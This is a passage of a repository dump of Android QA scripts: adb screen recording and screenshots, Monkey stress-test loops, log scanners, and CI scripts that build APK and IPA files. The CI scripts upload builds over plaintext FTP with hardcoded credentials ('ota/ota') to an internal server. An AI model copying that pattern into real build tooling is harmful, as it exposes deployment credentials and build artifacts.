手机录屏(安卓4.4及以上) :: 8 | ECHO.:: :: 9 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 10 | 11 | ::**************在此修改目录************************** 12 | SET pcDir=C:\Users\%username%\Pictures 13 | SET phoneDir=/sdcard 14 | ::**************在此修改目录************************** 15 | 16 | :recordstart 17 | 18 | ECHO.[ HELP ] 操作步骤: 19 | ECHO. 1、输入录制时间[回车] 20 | ECHO. 2、按提示开始录制 21 | SET /a SCTIME=10 22 | ECHO. 23 | SET /P SCTIME=[ INFO ] 请输入录制时间(默认10S): 24 | 25 | :MyLoop 26 | 27 | SET CONFIRM=TF 28 | 29 | SET /P CONFIRM=[ INFO ] 确认开始录制?[Enter] 30 | 31 | IF NOT "%CONFIRM%"=="TF" GOTO MyLoop 32 | 33 | ECHO. 34 | 35 | ECHO.[ EXEC ] 开始录制视频(Time: %SCTIME%S) 36 | 37 | adb shell screenrecord --time-limit %SCTIME% %phoneDir%/screenrecord.mp4 38 | 39 | :: 获取得小时,格式为:24小时制,10点前补0 40 | SET c_time_hour=%time:~0,2% 41 | IF /i %c_time_hour% LSS 10 ( 42 | SET c_time_hour=0%time:~1,1% 43 | ) 44 | 45 | ECHO.[ INFO ] 录制结束 46 | ECHO. 47 | ECHO.[ EXEC ] 拷贝录屏至电脑 48 | adb pull %phoneDir%/screenrecord.mp4 "%pcDir%\%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%.mp4" 49 | ECHO.[ EXEC ] 打开视频保存目录 50 | start %pcDir% 51 | adb shell rm %phoneDir%/screenrecord.mp4 52 | :BATend 53 | 54 | ECHO. 55 | 56 | ECHO.[ INFO ] 暂停3秒自动关闭... 57 | 58 | ping -n 3 127.0.0.1>nul 59 | -------------------------------------------------------------------------------- /bat/mobile/adb/screenrecord2.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | COLOR 0A 4 | 5 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::::::: 6 | ECHO.:: :: 7 | ECHO.:: Mobile video recording (android 4.4 and above) :: 8 | ECHO.:: :: 9 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::::::: 10 | 11 | ::**************在此修改目录************************** 12 | SET pcDir=C:\Users\%username%\Pictures 13 | SET phoneDir=/sdcard 14 | ::**************在此修改目录************************** 15 | 16 | :recordstart 17 | 18 | ECHO.[ HELP ] steps : 19 | ECHO. 1 set time [enter] 20 | ECHO. 2 Follow the instructions to start recording 21 | SET /a SCTIME=10 22 | ECHO. 23 | SET /P SCTIME=[ INFO ] please inter record time limit(defaul 10s): 24 | 25 | :MyLoop 26 | 27 | SET CONFIRM=TF 28 | 29 | SET /P CONFIRM=[ INFO ] Confirm to start recording?[Enter] 30 | 31 | IF NOT "%CONFIRM%"=="TF" GOTO MyLoop 32 | 33 | ECHO. 34 | 35 | ECHO.[ EXEC ] Start recording video(Time: %SCTIME%S) 36 | 37 | adb shell screenrecord --time-limit %SCTIME% %phoneDir%/screenrecord.mp4 38 | 39 | :: 获取得小时,格式为:24小时制,10点前补0 40 | SET c_time_hour=%time:~0,2% 41 | IF /i %c_time_hour% LSS 10 ( 42 | SET c_time_hour=0%time:~1,1% 43 | ) 44 | 45 | ECHO.[ INFO ] End of the recording 46 | ECHO. 47 | ECHO.[ EXEC ] Copy the recording screen to the computer 48 | adb pull %phoneDir%/screenrecord.mp4 "%pcDir%\%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%.mp4" 49 | ECHO.[ EXEC ] Open the video save directory 50 | start %pcDir% 51 | adb shell rm %phoneDir%/screenrecord.mp4 52 | :BATend 53 | 54 | ECHO. 55 | 56 | ECHO.[ INFO ] Pause for 3 seconds and close automatically... 57 | 58 | ping -n 10 127.0.0.1>nul -------------------------------------------------------------------------------- /bat/mobile/adb/screenshot.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | #截取设备屏幕,将解图保存至当前目录下的screens文件夹 4 | 5 | time=`adb shell date +%F_%H:%M:%S | tr -d "\r"` 6 | adb shell screencap -p data/local/tmp/$time 7 | 8 | dir=screens 9 | 10 | if [ ! -d "$dir" ] 11 | then 12 | mkdir $dir 13 | fi 14 | 15 | adb pull data/local/tmp/$time $dir/${time}".png" 16 | -------------------------------------------------------------------------------- /bat/mobile/adb/screenshots.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | ECHO.[快速手机截屏] 4 | 5 | ECHO.------------------------------- 6 | 7 | ECHO.[Exce ] 手机截屏 8 | 9 | SET pcDir=C:\Users\%username%\Pictures 10 | 11 | adb shell screencap -p /sdcard/screen.png 12 | 13 | ECHO.[Tips ] 拷贝截屏图片至电脑 14 | 15 | adb pull /sdcard/screen.png "C:\Users\jayzhen\Desktop\screen.png" 16 | 17 | ren "C:\Users\jayzhen\Desktop\screen.png" "%pcDir%\%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%.png" 18 | 19 | adb shell rm /sdcard/screen.png 20 | 21 | ECHO [暂停2秒自动关闭...] 22 | 23 | ping -n 2 127.0.0.1>nul 24 | 25 | @ECHO ON -------------------------------------------------------------------------------- /bat/mobile/adb/screenshots.cmd: -------------------------------------------------------------------------------- 1 | @adb shell /system/bin/screencap -p /sdcard/screenshot.png 2 | @adb pull /sdcard/screenshot.png C:/Users/dell/Desktop/%DATE:~0,4%年%DATE:~5,2%月%DATE:~8,2%日%TIME:~0,2%时%TIME:~3,2%分%TIME:~6,2%秒.png -------------------------------------------------------------------------------- /bat/mobile/adb/screenshots2.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | ECHO.[Quick cell phone screenshots] 4 | 5 | ECHO.------------------------------- 6 | 7 | ECHO.[Exce ] Mobile phone screen 8 | 9 | SET pcDir=C:\Users\%username%\Pictures\img 10 | 11 | adb shell screencap -p /sdcard/screen.png 12 | 13 | ECHO.[Tips ] Copy the screenshot to your computer 14 | 15 | adb pull /sdcard/screen.png "%pcDir%\%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%.png" 16 | 17 | ren "C:\Users\jayzhen\Desktop\screen.png" "%pcDir%\%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%.png" 18 | 19 | adb shell rm /sdcard/screen.png 20 | 21 | ECHO [Pause for 3 seconds and close automatically...] 22 | 23 | ping -n 2 127.0.0.1>nul 24 | 25 | @ECHO ON -------------------------------------------------------------------------------- /bat/mobile/adb/sr.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | COLOR 0A 4 | 5 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 6 | ECHO.:: :: 7 | ECHO.:: 手机录屏(安卓4.4及以上) :: 8 | ECHO.:: :: 9 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 10 | 11 | ::**************在此修改目录************************** 12 | SET pcDir=C:\Users\%username%\Pictures 13 | SET phoneDir=/sdcard 14 | ::**************在此修改目录************************** 15 | 16 | :recordstart 17 | 18 | ECHO.[ HELP ] 操作步骤: 19 | ECHO. 1、输入录制时间[回车] 20 | ECHO. 2、按提示开始录制 21 | SET /a SCTIME=10 22 | ECHO. 23 | SET /P SCTIME=[ INFO ] 请输入录制时间(默认10S): 24 | 25 | :MyLoop 26 | 27 | SET CONFIRM=TF 28 | 29 | SET /P CONFIRM=[ INFO ] 确认开始录制?[Enter] 30 | 31 | IF NOT "%CONFIRM%"=="TF" GOTO MyLoop 32 | 33 | ECHO. 34 | 35 | ECHO.[ EXEC ] 开始录制视频(Time: %SCTIME%S) 36 | 37 | adb shell screenrecord --time-limit %SCTIME% %phoneDir%/screenrecord.mp4 38 | 39 | :: 获取得小时,格式为:24小时制,10点前补0 40 | SET c_time_hour=%time:~0,2% 41 | IF /i %c_time_hour% LSS 10 ( 42 | SET c_time_hour=0%time:~1,1% 43 | ) 44 | 45 | ECHO.[ INFO ] 录制结束 46 | ECHO. 47 | ECHO.[ EXEC ] 拷贝录屏至电脑 48 | adb pull %phoneDir%/screenrecord.mp4 "%pcDir%\%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%.mp4" 49 | ECHO.[ EXEC ] 打开视频保存目录 50 | start %pcDir% 51 | adb shell rm %phoneDir%/screenrecord.mp4 52 | :BATend 53 | 54 | ECHO. 55 | 56 | ECHO.[ INFO ] 暂停3秒自动关闭... 57 | 58 | ping -n 3 127.0.0.1>nul 59 | -------------------------------------------------------------------------------- /bat/mobile/build/build_android_apk.sh: -------------------------------------------------------------------------------- 1 | echo "------------------------------------upload apk------------------------------------" 2 | 3 | #cd $WORKSPACE 4 | #cd HZXTM\build\outputs\apk 5 | 6 | local_dir=${WORKSPACE}/HZXTM/build/outputs/apk 7 | #gradle 4.0 以上的版本,apk文件路径有改动,打开下面这一行 8 | #local_dir=${WORKSPACE}/HZXTM/build/outputs/apk/${PRODUCT_FLAVORS}/${BUILD_TYPE} 9 | 10 | ftp_dir=${WORKSPACE}/HZXTM/build/outputs 11 | ls $local_dir 12 | remote_dir=/x-app/android 13 | SERVER_IP=192.168.18.85 14 | USER=ota 15 | PASSWARD=ota 16 | 17 | #ftp -inv << END > $ftp_dir/ftp.error 18 | #ftp -n< $ftp_dir/ftp.error 33 | user $USER $PASSWARD 34 | binary 35 | hash 36 | cd $remote_dir 37 | lcd $local_dir 38 | prompt 39 | mput * 40 | close 41 | bye 42 | END -------------------------------------------------------------------------------- /bat/mobile/build/build_ios_ipa.sh: -------------------------------------------------------------------------------- 1 | whoami 2 | #设置输出路径 3 | output=$WORKSPACE/../ios_zzFinance 4 | cd $output 5 | rm -rf output 6 | mkdir output 7 | out=$output/output 8 | 9 | cd $WORKSPACE 10 | 11 | #工程名 12 | projectName="HouniaoP2P" 13 | 14 | #scheme名 15 | buildScheme="HouniaoP2P" 16 | 17 | #Info.plist文件路径 18 | project_infoplist_path="./platforms/ios/${projectName}/${projectName}-Info.plist" 19 | 20 | #取版本号:1.0.0 21 | bundleShortVersion=$(/usr/libexec/PlistBuddy -c "print CFBundleShortVersionString" "${project_infoplist_path}") 22 | bundleShortVersion=${bundleShortVersion//./-} 23 | #设置日期格式:20161216161616 24 | DATE="$(date +%Y%m%d%H%M%S)" 25 | 26 | echo "======================begin build ipa=====================" 27 | 28 | #拼接ipa文件名:HouniaoP2P_master_V1-0-0_20161216161616_Normal.ipa 29 | IPANAME="${buildScheme}_${branch}_V${bundleShortVersion}_${DATE}_${configuration}.ipa" 30 | dSYMANAME="${buildScheme}_${branch}_V${bundleShortVersion}_${DATE}_${configuration}" 31 | 32 | #切换打包方式 33 | flag="0" 34 | if [ "${flag}"x = "0"x ]; then 35 | 36 | #文件构建目录 37 | iPhoneOS="./${configuration}-iphoneos" 38 | rm -rf ${iPhoneOS} 39 | 40 | #集成有Cocopods的用法 41 | xcodebuild -workspace ./platforms/ios/${projectName}.xcworkspace -scheme ${buildScheme} -configuration ${configuration} clean build SYMROOT='$(PWD)' 42 | #生成ipa文件 43 | xcrun -sdk iphoneos PackageApplication ${iPhoneOS}/${projectName}.app -o $out/${IPANAME} 44 | 45 | cd ${iPhoneOS} 46 | zip -r dSYM.zip ${projectName}.app.dSYM 47 | cp dSYM.zip ${out} 48 | else 49 | archiveName="${projectName}.xcarchive" 50 | archivePath="$out/${archiveName}" 51 | xcodebuild clean -configuration ${configuration} -alltargets 52 | xcodebuild archive -workspace ./platforms/ios/${projectName}.xcworkspace -scheme ${buildScheme} -configuration ${configuration} -archivePath ${archivePath} 53 | xcodebuild -exportArchive -archivePath ${archivePath} -exportPath $out/${IPANAME} 54 | 55 | cd ${out} 56 | zip -r dSYM.zip ${archiveName} 57 | fi 58 | 59 | echo "======================end build ipa=====================" 60 | 61 | 62 | dir_out=$output 63 | 64 | # 新项目需要重新定义目录路径,然后在ota项目中添加对应的配置 65 | ftp_dir="/finance-app/ios" 66 | echo "======================upload=====================" 67 | ## 调整输出路径 68 | function adjust_outdir 69 | { 70 | mkdir -p $dir_out 71 | cp_status=$? 72 | if [ ${cp_status} -ne 0 ];then 73 | echo "file directory adjust failed" 74 | else 75 | echo "file directory adjust success" 76 | fi 77 | return ${cp_status} 78 | } 79 | 80 | ## 目录递归 81 | function mkdir_recursive 82 | { 83 | if [ -z $1 -o $1 = "/" ]; then 84 | return 85 | fi 86 | 87 | parent_dir=`dirname $1` 88 | mkdir_recursive $parent_dir 89 | 90 | if [ ! -d $1 ]; then 91 | echo "mkdir $1" 92 | fi 93 | } 94 | 95 | ## 上传ftp工具 96 | function real_upload_ftp 97 | { 98 | SERVER_IP=$1 99 | USER=$2 100 | PASSWARD=$3 101 | UPLOAD_DIR=$4 102 | VERSION=$5 103 | LOCAL_DIR=$6 104 | REMOTE_DIR=$UPLOAD_DIR/$VERSION 105 | REMOTE_OUTDIR=$REMOTE_DIR/output 106 | WAR_PROJ=$LOCAL_DIR/output/$7 107 | WAR_SYM=$LOCAL_DIR/output/dSYM.zip 108 | CONF_DIR=$LOCAL_DIR/conf 109 | 110 | updir=$6/output 111 | todir=$REMOTE_OUTDIR 112 | 113 | mkdir_base_ftp=`mkdir_recursive $UPLOAD_DIR` 114 | /Users/admin/otaTemp/ftp -inv << END > $LOCAL_DIR/ftp.base.mkdir.error 115 | open $SERVER_IP 116 | user $USER $PASSWARD 117 | type binary 118 | prompt 119 | $mkdir_base_ftp 120 | close 121 | bye 122 | END 123 | 124 | #sss=`find -f $updir | awk '{if ($0 == "")next;print "mkdir " $0}'` 125 | #aaa=`find -f $updir 'put %p %P \n'` 126 | #sss=`mkdir_recursive output` 127 | 128 | echo $REMOTE_DIR 129 | echo $REMOTE_OUTDIR 130 | echo ${updir} 131 | echo ${todir} 132 | 133 | /Users/admin/otaTemp/ftp -inv << END > $LOCAL_DIR/ftp.error 134 | open $SERVER_IP 135 | user $USER $PASSWARD 136 | type binary 137 | prompt 138 | mkdir $REMOTE_DIR 139 | cd $REMOTE_DIR 140 | put $WAR_PROJ $7 141 | put $WAR_SYM ${dSYMANAME}-dSYM.zip 142 | close 143 | bye 144 | END 145 | 146 | connect_ftp_code=220 147 | login_success_code=230 148 | directory_fail_code=550 149 | createfile_fail_code=553 150 | 151 | #sed -i "s/${connect_ftp_code} bytes/221 bytes/g" ${LOCAL_DIR}/ftp.error 152 | #sed -i "s/${login_success_code} bytes/231 bytes/g" ${LOCAL_DIR}/ftp.error 153 | #sed -i "s/${directory_fail_code} bytes/551 bytes/g" ${LOCAL_DIR}/ftp.error 154 | #sed -i "s/${createfile_fail_code} bytes/554 bytes/g" ${LOCAL_DIR}/ftp.error 155 | 156 | exit 0 157 | } 158 | 159 | ## 上传ftp 160 | #FTP_SH=/home/work/shell/ftp_jenkins.sh 161 | function upload_ftp 162 | { 163 | snapshot=${IPANAME%.*} 164 | echo $snapshot 165 | 166 | #chmod +x $FTP_SH 167 | real_upload_ftp 192.168.18.85 ota ota $ftp_dir $snapshot $output $IPANAME 168 | upload_status=$? 169 | if [ ${upload_status} -eq 0 ];then 170 | echo "[INFO] : files upload by ftp success" 171 | else 172 | echo "ERROR : files upload by ftp fail" 173 | fi 174 | return ${upload_status} 175 | } 176 | 177 | echo '==> start adjust_outdir' 178 | adjust_outdir 179 | adjust_outdir_status=$? 180 | if [ ${adjust_outdir_status} -ne 0 ];then 181 | echo 'ERROR : adjust_outdir fail' 182 | exit ${adjust_outdir_status} 183 | fi 184 | echo '==> end adjust_outdir' 185 | 186 | 187 | echo '==> start upload_ftp' 188 | upload_ftp 189 | upload_ftp_status=$? 190 | if [ ${upload_ftp_status} -ne 0 ];then 191 | echo 'ERROR : upload_ftp fail' 192 | exit ${upload_ftp_status} 193 | fi 194 | echo '==> end upload_ftp' 195 | echo '[INFO] PreScript Execute SUCCESS, congratulation!' 196 | exit 0 -------------------------------------------------------------------------------- /bat/mobile/monkey/monkey_analysis/Monkey.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 4 | 5 | ECHO.:: Monkey测试 :: 6 | 7 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 8 | 9 | IF NOT EXIST %~dp0\config.conf GOTO EXIT 10 | 11 | ECHO.[ INFO ] 准备Monkey测试 12 | 13 | ECHO.[ INFO ] 读取config.conf中信息 14 | 15 | 16 | 17 | REM 从配置文件中获得包名 18 | 19 | FOR /F "tokens=1,2 delims==" %%a in (config.conf) do ( 20 | 21 | IF %%a == packageName SET packageName=%%b 22 | 23 | IF %%a == appEnName SET appEnName=%%b 24 | 25 | IF %%a == appversion SET appversion=%%b 26 | 27 | ) 28 | 29 | 30 | 31 | REM 获取日期,格式为:20140808 32 | 33 | SET c_date=%date:~0,4%%date:~5,2%%date:~8,2% 34 | 35 | REM 获取得小时,格式为:24小时制,10点前补0 36 | 37 | SET c_time=%time:~0,2% 38 | 39 | IF /i %c_time% LSS 10 ( 40 | 41 | SET c_time=0%time:~1,1% 42 | 43 | ) 44 | 45 | REM 组合小时、分、秒,格式为: 131420 46 | 47 | SET c_time=%c_time%%time:~3,2%%time:~6,2% 48 | 49 | REM 将当运行时间点做为日志文件名 50 | 51 | SET logfilename=%c_date%%c_time% 52 | 53 | 54 | 55 | 56 | 57 | REM 创建当天日期目录及测试APP日志保存目录 58 | 59 | IF NOT EXIST %~dp0\%c_date% md %~dp0\%c_date% 60 | 61 | SET logdir="%~dp0\%c_date%\%appEnName%%appversion%" 62 | 63 | IF NOT EXIST %logdir% ( 64 | 65 | ECHO.[ Exec ] 创建目录:%c_date%\%appEnName%%appversion% 66 | 67 | md %logdir% 68 | 69 | ) 70 | 71 | 72 | 73 | 74 | 75 | REM 获得手机信息,显示并保存 76 | 77 | adb shell cat /system/build.prop>phone.info 78 | 79 | FOR /F "tokens=1,2 delims==" %%a in (phone.info) do ( 80 | 81 | IF %%a == ro.build.version.release SET androidOS=%%b 82 | 83 | IF %%a == ro.product.model SET model=%%b 84 | 85 | IF %%a == ro.product.brand SET brand=%%b 86 | 87 | ) 88 | 89 | del /a/f/q phone.info 90 | 91 | ECHO.[ INFO ] 读取Phone信息 92 | 93 | ECHO. 手机品牌: %brand% 94 | 95 | ECHO. 手机型号: %model% 96 | 97 | ECHO. 系统版本: Android %androidOS% 98 | 99 | ECHO.Phone信息>"%logdir%\%logfilename%_%model%.txt" 100 | 101 | ECHO.手机品牌: %brand%>>"%logdir%\%logfilename%_%model%.txt" 102 | 103 | ECHO.手机型号: %model%>>"%logdir%\%logfilename%_%model%.txt" 104 | 105 | ECHO.系统版本: Android %androidOS%>>"%logdir%\%logfilename%_%model%.txt" 106 | 107 | 108 | 109 | ECHO. 110 | 111 | ECHO.[ Exec ] 使用Logcat清空Phone中log 112 | 113 | adb logcat -c 114 | 115 | REM ECHO.[ INFO ] 暂停2秒... 116 | 117 | ping -n 2 127.0.0.1>nul 118 | 119 | ECHO. 120 | 121 | ECHO.[ INFO ] 开始执行Monkey命令 122 | 123 | REM ECHO.[ INFO ] 强制关闭准备测试的APP 124 | 125 | adb shell am force-stop %packageName% 126 | 127 | 128 | 129 | :::::::::::::::::Monkey测试命令:::::::::::::::::::::::: 130 | 131 | ::::::::::::修改策略请仅在此区域内修改::::::::::::::::: 132 | 133 | ECHO.[ Exec ] adb shell monkey -p %packageName% -s %c_time% --throttle 500 -v -v -v 10000 134 | 135 | 136 | 137 | adb shell monkey -p %packageName% -s %c_time% --throttle 500 -v -v -v 10000>%logdir%\%logfilename%_monkey.log 138 | 139 | 140 | 141 | ::::::::::::修改策略请仅在此区域内修改::::::::::::::::: 142 | 143 | ::::::::::::::::::::::END:::::::::::::::::::::::::::::: 144 | 145 | ECHO.[ INFO ] 执行Monkey命令结束 146 | 147 | ECHO. 148 | 149 | 150 | 151 | ECHO.[ Exce ] 手机截屏 152 | 153 | adb shell screencap -p /sdcard/monkey_run_end.png 154 | 155 | ECHO.[ INFO ] 拷贝截屏图片至电脑 156 | 157 | adb pull /sdcard/monkey_run_end.png %logdir% 158 | 159 | cd %logdir% 160 | 161 | ren monkey_run_end.png %logfilename%.png 162 | 163 | 164 | 165 | ECHO. 166 | 167 | ECHO.[ Exec ] 使用Logcat导出日志 168 | 169 | adb logcat -d >%logdir%\%logfilename%_logcat.log 170 | 171 | 172 | 173 | REM ECHO. 174 | 175 | REM ECHO.[ Exec ] 导出traces文件 176 | 177 | REM adb shell cat /data/anr/traces.txt>%logfilename%_traces.log 178 | 179 | 180 | 181 | 182 | 183 | REM 待扩展,上传日志至服务器 184 | 185 | 186 | 187 | :EXIT 188 | 189 | ECHO. 190 | 191 | ECHO.[ INFO ] 请按任意键关闭窗口... 192 | PAUSE>nul -------------------------------------------------------------------------------- /bat/mobile/monkey/monkey_analysis/config.conf: -------------------------------------------------------------------------------- 1 | [appinfo] 2 | appCnName=guexplorer 3 | appEnName=guexplorer 4 | appversion=V4.2.3.1104 5 | packageName=gu.mobile.explorer -------------------------------------------------------------------------------- /bat/mobile/monkey/monkey_analysis/monkey_cmd.cmd: -------------------------------------------------------------------------------- 1 | :loop 2 | 3 | adb2 shell monkey -p gu.mobile.explorer --monitor-native-crashes --pct-touch 80 --pct-motion 15 --pct-nav 5 -s %random% -v --throttle 200 320000 >common\%random%.log 4 | 5 | @ping -n 15 127.1 >nul 6 | 7 | adb2 reboot 8 | 9 | @ping -n 120 127.1 >nul 10 | 11 | @goto loop -------------------------------------------------------------------------------- /bat/mobile/monkey/monkey_analysis/monkey_log_analysis.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 4 | 5 | ECHO.:: 分析Monkey日志 :: 6 | 7 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 8 | 9 | REM 方法一:手动设置Monkey日志路径 10 | 11 | SET monkeyLogFile=F:\Monkey\1.0.0\20140825181801_monkey.log 12 | 13 | 14 | 15 | REM 方法二:直接将Monkey日志拖到此bat文件上 16 | 17 | IF NOT "%1"=="" SET monkeyLogFile=%1 18 | 19 | 20 | 21 | ECHO.[ INFO ] Monkey日志: %monkeyLogFile% 22 | 23 | ECHO.[ INFO ] 开始分析 24 | 25 | SET blnException=0 26 | 27 | ECHO. 28 | 29 | ECHO. 30 | 31 | REM 如果觉得分析太快,没有感觉,把下面注释去掉假装分析中,有停顿感 32 | 33 | REM ping -n 2 127.0.0.1>nul 34 | 35 | 36 | 37 | ::ANR日志 38 | 39 | FOR /F "delims=" %%a IN ('FINDSTR /C:"ANR" %monkeyLogFile%') DO ( 40 | 41 | SET strANR=%%a 42 | 43 | ) 44 | 45 | 46 | 47 | ::崩溃日志 48 | 49 | FOR /F "delims=" %%a IN ('FINDSTR /C:"CRASH" %monkeyLogFile%') DO ( 50 | 51 | SET strCRASH=%%a 52 | 53 | ) 54 | 55 | 56 | 57 | ::异常日志 58 | 59 | FOR /F "delims=" %%a IN ('FINDSTR /C:"Exception" %monkeyLogFile%') DO ( 60 | 61 | SET strException=%%a 62 | 63 | ) 64 | 65 | 66 | 67 | ::正常 68 | 69 | FOR /F "delims=" %%a IN ('FINDSTR /C:"Monkey finished" %monkeyLogFile%') DO ( 70 | 71 | SET strFinished=%%a 72 | 73 | ) 74 | 75 | 76 | 77 | IF NOT "%strANR%" == "" ( 78 | 79 | ECHO.[ INFO ] 分析Monkey日志存在: ANR 80 | 81 | ECHO.[ INFO ] ------------------------------------ 82 | 83 | ECHO. "%strANR%" 84 | 85 | SET /a blnException+=1 86 | 87 | ECHO. 88 | 89 | ) 90 | 91 | 92 | 93 | IF NOT "%strCRASH%" == "" ( 94 | 95 | ECHO.[ INFO ] 分析Monkey日志存在: CRASH 96 | 97 | ECHO.[ INFO ] ------------------------------------ 98 | 99 | ECHO. "%strCRASH%" 100 | 101 | SET /a blnException+=1 102 | 103 | ECHO. 104 | 105 | ) 106 | 107 | 108 | 109 | IF NOT "%strException%" == "" ( 110 | 111 | ECHO.[ INFO ] 分析Monkey日志存在: 异常 112 | 113 | ECHO.[ INFO ] ------------------------------------ 114 | 115 | ECHO. "%strException%" 116 | 117 | SET /a blnException+=1 118 | 119 | ) 120 | 121 | 122 | 123 | IF NOT "%strFinished%" == "" ( 124 | 125 | ECHO.[ INFO ] 分析Monkey日志存在: 执行成功标记 126 | 127 | ECHO.[ INFO ] ------------------------------------ 128 | 129 | ECHO. "%strFinished%" 130 | 131 | ECHO. 132 | 133 | ) ELSE ( 134 | 135 | IF %blnException% EQU 0 ECHO.[ INFO ] 分析Monkey日志结果: Monkey执行异常中断,请重新执行Monkey脚本! 136 | 137 | ECHO. 138 | 139 | ) 140 | 141 | 142 | 143 | REM 如果blnException不为0,说明存在异常,改变字体为淡紫色 144 | 145 | IF %blnException% NEQ 0 ( 146 | 147 | Color 0D 148 | 149 | ECHO.[ INFO ] 分析Monkey日志结果:存在异常日志,请手工再仔细检查! 150 | 151 | ECHO. 152 | 153 | ) ELSE ( 154 | 155 | ECHO.[ INFO ] 分析Monkey日志结果:正常 156 | 157 | ECHO. 158 | 159 | ) 160 | 161 | ECHO. 162 | 163 | ECHO.[ EXIT ] 按任意键关闭窗口... 164 | 165 | PAUSE>nul -------------------------------------------------------------------------------- /bat/mobile/monkey/monkey_no_env/AdbWinApi.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/bat/mobile/monkey/monkey_no_env/AdbWinApi.dll -------------------------------------------------------------------------------- /bat/mobile/monkey/monkey_no_env/Common.cmd: -------------------------------------------------------------------------------- 1 | :loop 2 | 3 | adb shell monkey -p com.yykk.phone --monitor-native-crashes --pct-touch 65 --pct-motion 15 --pct-nav 5 --pct-anyevent 5 --pct-appswitch 10 -s %random% -v -v --throttle 500 5880000 >log\%random%_log.log 4 | 5 | @ping -n 15 127.1 >nul 6 | 7 | adb reboot 8 | 9 | @ping -n 120 127.1 >nul 10 | 11 | @goto loop -------------------------------------------------------------------------------- /bat/mobile/monkey/monkey_no_env/adb2.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/bat/mobile/monkey/monkey_no_env/adb2.exe -------------------------------------------------------------------------------- /bat/mobile/monkey/monkey_no_env/kill_monkey_pid.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | for /f "tokens=2" %%i in ('adb shell ps^| findstr "monkey"') do ( 3 | set YK_PID=%%i 4 | echo 5 | ) 6 | echo found com.yykk.phone PID is %YK_PID% 7 | 8 | IF NOT "%YK_PID%" == "" ( 9 | echo 准备kill掉monkey的进程 10 | adb shell kill %YK_PID% 11 | ) 12 | 13 | ping 127.0.0.1 -n 3 >nul 14 | echo on 15 | -------------------------------------------------------------------------------- /bat/mobile/monkey/monkey_no_env/log_analysis.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 4 | 5 | ECHO.:: 分析logcat日志 :: 6 | 7 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 8 | 9 | REM 方法一:手动设置Monkey日志路径 10 | 11 | SET monkeyLogFile=F:\Monkey\V1.0.0\20140825181801_monkey.log 12 | 13 | 14 | 15 | REM 方法二:直接将Monkey日志拖到此bat文件上 16 | 17 | IF NOT "%1"=="" SET monkeyLogFile=%1 18 | 19 | 20 | 21 | ECHO.[ INFO ] logcat日志: %monkeyLogFile% 22 | 23 | ECHO.[ INFO ] 开始分析 24 | 25 | SET blnException=0 26 | 27 | ECHO. 28 | 29 | ECHO. 30 | 31 | REM 如果觉得分析太快,没有感觉,把下面注释去掉假装分析中,有停顿感 32 | 33 | REM ping -n 2 127.0.0.1>nul 34 | 35 | 36 | 37 | ::ANR日志 38 | 39 | FOR /F "delims=" %%a IN ('FINDSTR /C:"ANR" %monkeyLogFile%') DO ( 40 | 41 | SET strANR=%%a 42 | 43 | ) 44 | 45 | 46 | 47 | ::崩溃日志 48 | 49 | FOR /F "delims=" %%a IN ('FINDSTR /C:"CRASH" %monkeyLogFile%') DO ( 50 | 51 | SET strCRASH=%%a 52 | 53 | ) 54 | 55 | 56 | 57 | ::异常日志 58 | 59 | FOR /F "delims=" %%a IN ('FINDSTR /C:"Exception" %monkeyLogFile%') DO ( 60 | 61 | SET strException=%%a 62 | 63 | ) 64 | 65 | 66 | 67 | ::正常 68 | 69 | FOR /F "delims=" %%a IN ('FINDSTR /C:"Monkey finished" %monkeyLogFile%') DO ( 70 | 71 | SET strFinished=%%a 72 | 73 | ) 74 | 75 | 76 | 77 | IF NOT "%strANR%" == "" ( 78 | 79 | ECHO.[ INFO ] 分析Monkey日志存在: ANR 80 | 81 | ECHO.[ INFO ] ------------------------------------ 82 | 83 | ECHO. "%strANR%" 84 | 85 | SET /a blnException+=1 86 | 87 | ECHO. 88 | 89 | ) 90 | 91 | 92 | 93 | IF NOT "%strCRASH%" == "" ( 94 | 95 | ECHO.[ INFO ] 分析Monkey日志存在: CRASH 96 | 97 | ECHO.[ INFO ] ------------------------------------ 98 | 99 | ECHO. "%strCRASH%" 100 | 101 | SET /a blnException+=1 102 | 103 | ECHO. 104 | 105 | ) 106 | 107 | 108 | 109 | IF NOT "%strException%" == "" ( 110 | 111 | ECHO.[ INFO ] 分析Monkey日志存在: 异常 112 | 113 | ECHO.[ INFO ] ------------------------------------ 114 | 115 | ECHO. "%strException%" 116 | 117 | SET /a blnException+=1 118 | 119 | ) 120 | 121 | 122 | 123 | IF NOT "%strFinished%" == "" 